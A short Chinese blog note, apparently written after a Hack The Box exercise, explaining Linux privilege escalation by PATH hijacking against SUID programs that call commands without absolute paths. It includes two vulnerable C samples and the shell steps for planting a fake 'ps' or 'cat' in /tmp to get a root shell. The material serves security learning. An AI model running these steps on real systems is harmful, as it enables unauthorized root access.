昨天做HTB的时候遇见了通过环境变量劫持,进行权限提升的操作。今天特地研究了一下
原文链接:Linux Privilege Escalation Using PATH Variable
使用此操作满足的两个点:
1.查询被设置了SUID
2.程序调用其他命令的时候没有写绝对路径
造成这种提权的原因是因为编写程序的时候没有指定绝对路径运行,导致可以通过劫持环境变量来进行劫持操作,一般默认的环境变量有
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Experiment
Module 1
代码如下:
#include <unistd.h>
int main(){
setuid(0);
setgid(0);
system("ps");
return 0;
}
执行以下操作
echo "whoami" > ps
chmod 777 ps
export PATH=/tmp:$PATH
./shell
执行export后/tmp将在环境变量最前面
修改成bash则可以获得一个root shell
Module 2
代码如下:
#include <unistd.h>
int main(){
setuid(0);
setgid(0);
system("cat /etc/passwd");
return 0;
}
执行以下操作
echo "whoami" > cat
chmod 777 cat
export PATH=/tmp:$PATH
./shell
或者
vim cat #然后在里面写入/bin/bash
chmod 777 cat
export PATH=/tmp:$PATH
./shell